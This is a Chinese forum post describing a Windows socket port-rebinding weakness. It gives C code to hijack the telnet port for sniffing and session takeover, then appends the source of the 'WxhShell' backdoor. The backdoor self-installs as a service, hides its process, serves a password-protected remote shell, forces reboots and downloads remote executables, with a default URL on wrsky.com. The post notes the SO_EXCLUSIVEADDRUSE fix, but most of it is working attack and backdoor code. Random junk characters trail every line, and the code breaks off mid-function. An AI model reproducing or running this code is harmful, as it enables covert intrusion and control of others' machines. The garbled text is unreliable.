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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jI-a+LnEm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7N$2N!I(  
\-\>JPO~<  
  saddr.sin_family = AF_INET; B~Sj#(WEa  
.~]|gg~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]eL# bJ  
RTOA'|[0M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fLDrit4_Q  
":!$Jnj,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :#rP$LSYC  
-&Rv=q>  
  这意味着什么?意味着可以进行如下的攻击: {;yO3];Hqw  
*;<fh,wOk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KWJVc `  
WTSh#L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yaUtDC.|  
\v2!5z8|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sZ `Tv[  
n$i X6Cd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =?i?-6M  
&W<7!U:2m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [M|^e;tWK  
=*\s`ox`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;blL\|ch;  
?@64gdlwq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =2R4Z8G  
":]X r!e  
  #include g3^s_*A  
  #include 8g#$Y2P  
  #include LmrdVSs_  
  #include    &.A_d+K&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wi2`5G6|z  
  int main() ^z?b6kTC  
  { !cW rB9  
  WORD wVersionRequested; vrs  
  DWORD ret; 3[m~-8  
  WSADATA wsaData; @r"\bBi  
  BOOL val; mqSVd^  
  SOCKADDR_IN saddr; }lZEdF9GhG  
  SOCKADDR_IN scaddr; GBJL B  
  int err; cO?*(e1m=  
  SOCKET s; 74%vNKzc~  
  SOCKET sc; ~1G^IZ6  
  int caddsize; ptCF))Zm'  
  HANDLE mt; \:vF FK4a  
  DWORD tid;   "{0G,tdA  
  wVersionRequested = MAKEWORD( 2, 2 ); Ot=>~(u0  
  err = WSAStartup( wVersionRequested, &wsaData ); .3 EZk86  
  if ( err != 0 ) { ;n&95t1$  
  printf("error!WSAStartup failed!\n"); 8_Oeui(i  
  return -1; "j>X^vn  
  } {R1]tGOf  
  saddr.sin_family = AF_INET; QoD_`d  
   J/1kJ@5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]H1mj#EWU  
#xI g(nG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yD9enYM  
  saddr.sin_port = htons(23); Liqo)m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bt}8ymcG  
  { >* -I Io  
  printf("error!socket failed!\n"); 9b. kso9.  
  return -1; c`O~I<(Pm  
  } {oQs*`=l>  
  val = TRUE; 8}QM~&&.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sW>%mnx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fc#9e9R  
  { {lI}a8DP  
  printf("error!setsockopt failed!\n"); x9lA';})  
  return -1; AL]gK)R  
  } .$U,bE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QV|6"4\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JPI%{@Qc^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DV5hTw0  
Q'<AV1<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .S` q2C\  
  { :V/".K-:J  
  ret=GetLastError(); 6H#: rM  
  printf("error!bind failed!\n"); Ycr3$n]e  
  return -1; V U3RFl  
  } HE}0_x.  
  listen(s,2); \@Wv{0a(  
  while(1) %ZVYgtk;*  
  { h+km?j  
  caddsize = sizeof(scaddr); }k-V(  
  //接受连接请求 axQ>~v WN/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '6N)sqTR  
  if(sc!=INVALID_SOCKET) j>k ;Z j  
  { >8Oa(9n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S_lGr k\j  
  if(mt==NULL) Fa("Gok[  
  { yR$_ZXsd  
  printf("Thread Creat Failed!\n"); G(E1c"?  
  break; `YOYC  
  }  5%-{r&  
  } }7.A~h  
  CloseHandle(mt); `d <`>  
  } <\229  
  closesocket(s); )%C.IZ_s2  
  WSACleanup(); 4$-R|@,|_  
  return 0; I;4quFBlMu  
  }   N&8$tJ(hhx  
  DWORD WINAPI ClientThread(LPVOID lpParam) ( 5LCy?-6  
  { P1F-Wy1  
  SOCKET ss = (SOCKET)lpParam; -}7$;QK&a  
  SOCKET sc; dL42)HP5  
  unsigned char buf[4096]; {"o9pIh{~  
  SOCKADDR_IN saddr; *@rA7zPFf  
  long num; ]d*9@+Iu  
  DWORD val; oW~W(h!  
  DWORD ret; Zkp~qx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F^l1WX6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gT}H B.  
  saddr.sin_family = AF_INET; 1AJ6NBC&c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {B$CqsvJ  
  saddr.sin_port = htons(23); XIcUoKg^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7L~ *%j  
  { :WB uU  
  printf("error!socket failed!\n"); '#Wx@  
  return -1; V]zZb-m=  
  } XYU5.  
  val = 100; OZ`cE5"i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E%w^q9C  
  { k_pv6YrE  
  ret = GetLastError(); poz_=,c  
  return -1; <) * U/r  
  } Xi="gxp$%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yZlT#^$\  
  { Nd0tR3gi7  
  ret = GetLastError(); Nm)3   
  return -1; q1ysT.{p,  
  } )zL@h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dGZie .Zx  
  { o2fih%p?1  
  printf("error!socket connect failed!\n"); }aWy#Oe  
  closesocket(sc); tLzLO#/n  
  closesocket(ss); ]B/> =t"E  
  return -1; _H$Lu4b)N  
  } hjL;B 'IL  
  while(1) hBU)gP75  
  { w=GMQ8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  'z} t= ?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0U=wGI O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $N?8[  
  num = recv(ss,buf,4096,0); /k'7j*t Z  
  if(num>0) )+ <w>pc  
  send(sc,buf,num,0); H(y`[B,}*  
  else if(num==0) \%7*@&  
  break; /,G `V  
  num = recv(sc,buf,4096,0); TPp]UG  
  if(num>0) M+ [ho]  
  send(ss,buf,num,0); ~kW?]/$h  
  else if(num==0) +tPBm{|  
  break; <8WFaP3,  
  } qzW3MlD  
  closesocket(ss); snaAn?I4  
  closesocket(sc); "0eX/ rY%  
  return 0 ; D!`;vZ\>  
  } ,X!6|l8  
Q}#Je.;  
|=;hQ2HyF  
========================================================== PVb[E03  
0F[ f%2j  
下边附上一个代码,,WXhSHELL C m[}DB  
e:O,$R#g  
========================================================== e)sR$]i:v  
b 3x|Dq.  
#include "stdafx.h" ^hLr9k   
_LJF:E5L  
#include <stdio.h> 2yA)SGri  
#include <string.h> U[wx){[|  
#include <windows.h> bq/Aopfr  
#include <winsock2.h> *OLqr/ yb  
#include <winsvc.h> R4p Pt  
#include <urlmon.h> .UP h  
`7/(sX.  
#pragma comment (lib, "Ws2_32.lib") KF(H >gs  
#pragma comment (lib, "urlmon.lib") 4aO/^Hl  
=:rg1wo"c  
#define MAX_USER   100 // 最大客户端连接数 $tZ {>!N  
#define BUF_SOCK   200 // sock buffer 5` ^@k<  
#define KEY_BUFF   255 // 输入 buffer f|{iW E2d  
868X/lL  
#define REBOOT     0   // 重启 s%:fZ7y  
#define SHUTDOWN   1   // 关机 j[U#J  
&g|[/~dIr  
#define DEF_PORT   5000 // 监听端口 -[=~!Qr:  
$a_y-lY  
#define REG_LEN     16   // 注册表键长度 3;>ls~4  
#define SVC_LEN     80   // NT服务名长度 NO!Qo:  
5cP yi/  
// 从dll定义API P%2v(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5%}e j)@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ oi']O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <r}wQ\F#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >9H^r\  
^_]ZZin  
// wxhshell配置信息 +d3|Up8=  
struct WSCFG { NzgG7 7>  
  int ws_port;         // 监听端口 A3eCI  
  char ws_passstr[REG_LEN]; // 口令 yd;e;Bb7*  
  int ws_autoins;       // 安装标记, 1=yes 0=no #RlZxtx.O  
  char ws_regname[REG_LEN]; // 注册表键名 Q ^b&   
  char ws_svcname[REG_LEN]; // 服务名 ;wwc;wQ'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c!IZLaVAr9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hTDK[4e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qu|CXUk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =F+v+zP7P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v~mVf.j1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?+]=|hN  
ZDW9H6ux  
}; i<Z%  
B|m)V9A%-  
// default Wxhshell configuration &J 3QO%  
struct WSCFG wscfg={DEF_PORT, 3RaduN]  
    "xuhuanlingzhe", AR [m+E  
    1, xO|r<R7d7  
    "Wxhshell", E0ED[d,  
    "Wxhshell", 9,?~dx  
            "WxhShell Service", KW:N 6w  
    "Wrsky Windows CmdShell Service", B%tF|KKj  
    "Please Input Your Password: ", $7q3[skH  
  1, 4aHogheg  
  "http://www.wrsky.com/wxhshell.exe", neFwxS?  
  "Wxhshell.exe" oxxuw Dcl  
    }; bv4umL /  
^L%_kL_7  
// 消息定义模块 6q^$}eOt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A|ZT ;\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JX&U?Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ` @QZK0Ox  
char *msg_ws_ext="\n\rExit."; JV~ Dly>  
char *msg_ws_end="\n\rQuit."; )Q1>j 2 &  
char *msg_ws_boot="\n\rReboot..."; <Z^by;d|z  
char *msg_ws_poff="\n\rShutdown..."; |0[Buh[_:c  
char *msg_ws_down="\n\rSave to "; ~$y"Ldrp  
AQ)gj$ m3  
char *msg_ws_err="\n\rErr!"; 6=f)3!=  
char *msg_ws_ok="\n\rOK!"; =+iY<~8  
qPPe)IM'Sc  
char ExeFile[MAX_PATH]; =mYf] PIX  
int nUser = 0; xSudDhRP  
HANDLE handles[MAX_USER]; Xl4}S"a  
int OsIsNt; cKVFykwM  
e\6H.9=  
SERVICE_STATUS       serviceStatus; ^*AI19w!Ys  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U<'N=#A J  
{T8;-H0H  
// 函数声明 SW9 C 8Q  
int Install(void);  {b!{~q  
int Uninstall(void); YdhV a!Y  
int DownloadFile(char *sURL, SOCKET wsh); <@Q27oEuA  
int Boot(int flag); d]0:r]e  
void HideProc(void); E+\?ptw  
int GetOsVer(void); & 'u|^d  
int Wxhshell(SOCKET wsl); it}h8:^<  
void TalkWithClient(void *cs); o898pg  
int CmdShell(SOCKET sock); 27!F B@k-  
int StartFromService(void); {4S UG o>  
int StartWxhshell(LPSTR lpCmdLine); ~uhW~bT  
AMyg>n!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %M96 m   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :Q`Of}#  
Q+Bl1xl  
// 数据结构和表定义 'APx  
SERVICE_TABLE_ENTRY DispatchTable[] = /#00'(oD  
{ I~6) Gk&  
{wscfg.ws_svcname, NTServiceMain}, CQ2vFg3+o  
{NULL, NULL} RZHfT0*jL  
}; s~7a-J  
 DXf  
// 自我安装 "1,*6(;:  
int Install(void) 9:2Bt <q  
{ OH/9<T?  
  char svExeFile[MAX_PATH]; EGl<oxL*R2  
  HKEY key; ZS.=GjK  
  strcpy(svExeFile,ExeFile); M@T{uo  
v-#,@&Uwq  
// 如果是win9x系统,修改注册表设为自启动 )+L|<6JXA  
if(!OsIsNt) {  Gsh9D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { obvE m[x!Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z'i@;^=A  
  RegCloseKey(key); +QN4hJK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c+ZOC8R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?!Y_w2  
  RegCloseKey(key); Z#}sK5s  
  return 0; z\eQB%aM  
    } l9 \W=-'  
  } #]dm/WzY  
} JL,Y9G*]s  
else { b|_e):V|  
M+:5gMB'  
// 如果是NT以上系统,安装为系统服务 d dgDq0N1j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !SK`!/7c?  
if (schSCManager!=0) X2V+cre  
{ ;y(;7n_ a  
  SC_HANDLE schService = CreateService 48 -j  
  (  ;Ci:d*  
  schSCManager, 76D$Nm  
  wscfg.ws_svcname, L"jA#ULg  
  wscfg.ws_svcdisp, Bv7FZK3  
  SERVICE_ALL_ACCESS, |pHlBzHj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P7w RX F{  
  SERVICE_AUTO_START, ku,{NY f^Y  
  SERVICE_ERROR_NORMAL, O[ z0+Q?6Z  
  svExeFile, N5K(yY_T  
  NULL, -L/%2 X  
  NULL, N)mZ!K44  
  NULL, ?pIELezfK  
  NULL, L ,R}l0kc  
  NULL 6 ZRc|ZQ  
  ); \~8W0q.4M  
  if (schService!=0) 8(Az/@=n  
  { ~ g!!#ad  
  CloseServiceHandle(schService); p*PzfSLN  
  CloseServiceHandle(schSCManager); N~]qQ oj,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Kgl/Wg%  
  strcat(svExeFile,wscfg.ws_svcname); %fF,Fnf2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lZAGoR;0Ra  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v(;yy{>8"  
  RegCloseKey(key); ]?]M5rP  
  return 0; Z=8&`  
    } 6-\Mf:%B  
  } ~+{*KPiD  
  CloseServiceHandle(schSCManager); N&G'i.w/  
} D zD5n  
} .iV=ybMT  
-o~zb-E  
return 1; J3y _JoS  
} uNI&U7_"  
$Z;8@O3  
// 自我卸载 ;>2-  
int Uninstall(void) koT3~FK  
{ P?q HzNGi7  
  HKEY key; @{b5x>KX  
v9H t~\>  
if(!OsIsNt) {  B=*0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IiniaVuQ  
  RegDeleteValue(key,wscfg.ws_regname); <%.%q  
  RegCloseKey(key); te[uAJ1 N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O^\:J 2I(  
  RegDeleteValue(key,wscfg.ws_regname); <N<0?GQ  
  RegCloseKey(key); W!HjO;  
  return 0; (ORbhjl  
  } EPW4 h/I  
} hRXnig{;3  
}  @N '_qu  
else { Z4G%Ve[  
1^^{;R7N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,JI]Eij^  
if (schSCManager!=0) Zsapu1HoL\  
{ lrc%GU):  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k% \;$u=%  
  if (schService!=0) :sw5@JdJ  
  { D?y-Y  
  if(DeleteService(schService)!=0) { 8/p ]'BLf  
  CloseServiceHandle(schService); r3x;lICx-  
  CloseServiceHandle(schSCManager); ]+`K\G ^X  
  return 0; [>`.,k  
  } W'9{2h6u(  
  CloseServiceHandle(schService); TAh'u|{u2  
  } H,c1&hb/w  
  CloseServiceHandle(schSCManager); ( !@gm)#h  
} :V6 [_VaF  
} LS*L XC  
zq + 2@"q  
return 1; kj2qX9 Ms  
}  R<1%Gdz  
waz5+l28  
// 从指定url下载文件 d(}? \|  
int DownloadFile(char *sURL, SOCKET wsh) Ag T)J  
{ Mh3.GpS  
  HRESULT hr; ?IeBo8  
char seps[]= "/"; t$qIJt$  
char *token; PJ:!O?KVq  
char *file; |}^u<S8X  
char myURL[MAX_PATH]; W0x9^'=s\  
char myFILE[MAX_PATH]; v8)wu=u  
Ib{#dhV  
strcpy(myURL,sURL); 8Mtd}{Fw*  
  token=strtok(myURL,seps); hTO5*5]0zP  
  while(token!=NULL) m^BXLG:b  
  { 5vD\?,f E  
    file=token; h)sT37  
  token=strtok(NULL,seps); 'r=2f6G>cP  
  } e\(X:T  
k t`ln  
GetCurrentDirectory(MAX_PATH,myFILE); tWl' )^  
strcat(myFILE, "\\"); P_jav 0j7g  
strcat(myFILE, file); fph+ 05.%  
  send(wsh,myFILE,strlen(myFILE),0); ^+%bh/2_W  
send(wsh,"...",3,0); r[):'ys,C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =M:Po0?0E  
  if(hr==S_OK) ({Yfsf,  
return 0; ~9rNP{+  
else D4"<suU|.  
return 1; vD2(M1Q  
S7j(4@  
} `[E-V  
{pi_yr3  
// 系统电源模块 p".wqg*W  
int Boot(int flag) q%k&O9C2]  
{ <x$nw'H9  
  HANDLE hToken; kqZRg>1A  
  TOKEN_PRIVILEGES tkp; f3,LX]zKA  
D;2V|CkU  
  if(OsIsNt) { 3qGz(6w6E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5WHqD!7u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~9@527m<',  
    tkp.PrivilegeCount = 1; >&>EjK4?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XRM/d5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jo8fMG\P  
if(flag==REBOOT) { G \a`F'Oo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) })8D3kzX)  
  return 0; Qd~7OH4Lp  
} [V /f{y~ {  
else { )6"p@1\u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BGVnL}0  
  return 0; GLub5GrxR  
} 7H6Ge-u  
  } <:(;#&<  
  else { d|87;;X|u  
if(flag==REBOOT) { }X])055S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LIJ#nb  
  return 0; !iHC++D  
} NG\'Ii:-J  
else { e|SN b*_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o=7e8l  
  return 0; .|DrXJ \c  
} 5m@'( ] j  
} DdISJWc'`5  
TqS s*as5  
return 1; xIc||o$  
} 82)=#ye_P  
sJQ~ :p0e  
// win9x进程隐藏模块 UZ<.R"aK  
void HideProc(void) }#~E-N3x  
{ v 9G~i  
a` 9pHH:7Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -#<{3BJTrz  
  if ( hKernel != NULL ) i,;a( Sy4  
  { SG~HzQ\%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TXd6o=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V_^pPBa  
    FreeLibrary(hKernel); [T'[7 Z  
  } c#?~1@=  
YVHf-uP  
return; K)1Lg? j  
} aox@- jyr  
TWRnty-C  
// 获取操作系统版本 }"RVUYU  
int GetOsVer(void) 4a!%eBhX"K  
{ SH"<f_  
  OSVERSIONINFO winfo; {&Rz>JK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `X ()"Qw  
  GetVersionEx(&winfo); 'b[O-6v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q$H@W. f  
  return 1; 2ZbSdaM=  
  else 1f"}]MbLR  
  return 0; [".94(qs  
} XdzC/ {G  
; X+.Ag  
// 客户端句柄模块 V\n!?1{kdF  
int Wxhshell(SOCKET wsl) 3ohHBo  
{ $t6t 6<M)  
  SOCKET wsh; SY.koW  
  struct sockaddr_in client; !z :j-gT3  
  DWORD myID; 0%|)=T3Slu  
_h,X3P   
  while(nUser<MAX_USER) 4y4r;[@U  
{ <%|u1cn~!v  
  int nSize=sizeof(client); Mc8_D,7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j)nE!GKD(  
  if(wsh==INVALID_SOCKET) return 1; Mj2Dat`p9  
gQ{<2u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '%+LQ"Bp  
if(handles[nUser]==0) Cnc=GTR i  
  closesocket(wsh); xVI"sBUu  
else ?#doH,  
  nUser++; ^?q(fK%  
  } +?QHSIQo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;$]a.9 -  
Hit )mwfYE  
  return 0; xudZ7   
} .'l3NV^{  
C=K{;.  
// 关闭 socket 1n*"C!q  
void CloseIt(SOCKET wsh) ?!c7Zx,(  
{ 8MU7|9 Q  
closesocket(wsh); BHkicb?   
nUser--; &P*r66  
ExitThread(0); Dl\0xcE  
} uTl"4;&j  
"cOBEhn%l  
// 客户端请求句柄 vZ6R>f  
void TalkWithClient(void *cs) 3 UQBIrQ  
{ l Ny<E!0  
nc.P  
  SOCKET wsh=(SOCKET)cs; xvWP^Qkb  
  char pwd[SVC_LEN]; ,WoB)V.{(  
  char cmd[KEY_BUFF]; "79b>  
char chr[1]; >r4BI}8SK<  
int i,j; :2b*E`+  
<I?f=[  
  while (nUser < MAX_USER) { =8]Ru(#Ig  
ne[H`7c  
if(wscfg.ws_passstr) { }\A 0g}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |llmq'Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8H3O6ro  
  //ZeroMemory(pwd,KEY_BUFF); hO$29_^"  
      i=0; , d HAD  
  while(i<SVC_LEN) { v9gaRqi8  
&u) qw }  
  // 设置超时 ZY6%%7?1  
  fd_set FdRead; l{kacfk#  
  struct timeval TimeOut; i4SWFa``  
  FD_ZERO(&FdRead); M%!j\}2A  
  FD_SET(wsh,&FdRead); f?@M"p@T  
  TimeOut.tv_sec=8;  ?f5||^7  
  TimeOut.tv_usec=0; .Rb4zLYL*w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AO7X-,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D [v225  
mndEB!b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,yfJjV*I  
  pwd=chr[0]; JmBMc }54  
  if(chr[0]==0xd || chr[0]==0xa) { c(3c|n  
  pwd=0; rdX;  
  break; D{+D.4\  
  } 1P BnGQYM  
  i++; F=UW[zy/[  
    } COH.`Tv{*  
#S|On[Q!  
  // 如果是非法用户,关闭 socket h`tf!MD]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1bCS4fs^>  
} eI -FJ/CJ  
Xi=4S[.4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mm | *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ])zpx-  
]go.IfH  
while(1) { nF 'U*  
`y1,VY  
  ZeroMemory(cmd,KEY_BUFF); @d ^MaXp_P  
x ;]em9b  
      // 自动支持客户端 telnet标准   B+'w'e$6  
  j=0; Lf Y[Z4  
  while(j<KEY_BUFF) { "?J f#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D]V&1n  
  cmd[j]=chr[0]; #hEU)G' $+  
  if(chr[0]==0xa || chr[0]==0xd) { /DSy/p0%  
  cmd[j]=0; RS7J~Q  
  break; Vl:M6d1  
  } DVBsRV)/  
  j++; N VDvd6  
    } oTpoh]|[  
!U1V('   
  // 下载文件 n+'s9  
  if(strstr(cmd,"http://")) { t.7_7`bin~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $bk_%R}s  
  if(DownloadFile(cmd,wsh)) A&Q!W)=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ez>!%Hpn\  
  else sgB|2cj;j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z9zo5Xc=  
  } 1| xKb (_l  
  else { OJLyqncw  
(8GA;:G7G  
    switch(cmd[0]) { d5=yAn-+=  
  6 c-9[-Px  
  // 帮助 * x.gPG  
  case '?': { W jBtL52  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w< |Lx#L}  
    break; *jy"g64j  
  } O$Dj_R#  
  // 安装 N)YoWA>#bF  
  case 'i': { :-b-)*TC;  
    if(Install()) R9Y{kk0M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JaJyH%+$!  
    else wV{VV?h}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wp= &nh  
    break; XP@&I[J3sI  
    } .@Jos^rxgJ  
  // 卸载 Dr#V^"Dte  
  case 'r': { < 'r<MA<  
    if(Uninstall()) h)?Km{u%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #pMpGw$  
    else yL3F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oeG?2!Zh  
    break; p,2H8I){  
    } 9/5 EyV  
  // 显示 wxhshell 所在路径 A) TO<dl  
  case 'p': { h56s~(?O  
    char svExeFile[MAX_PATH]; |Lz7}g=6  
    strcpy(svExeFile,"\n\r"); Qlhm:[  
      strcat(svExeFile,ExeFile); Eqt>_n8  
        send(wsh,svExeFile,strlen(svExeFile),0); i th!,jY*i  
    break; IpsV4nmnz-  
    } zm^ 5WH  
  // 重启 FVoKNaK-  
  case 'b': { + hMF\@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NJ!}(=1|K  
    if(Boot(REBOOT)) D+Z,;XZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P6 mDwR  
    else {  W o$UV  
    closesocket(wsh); El3Ayd3  
    ExitThread(0); i&,1  
    } z~yLc{M  
    break; N|s8PIcSp  
    } x@<!#d+  
  // 关机 l65Qk2<YC  
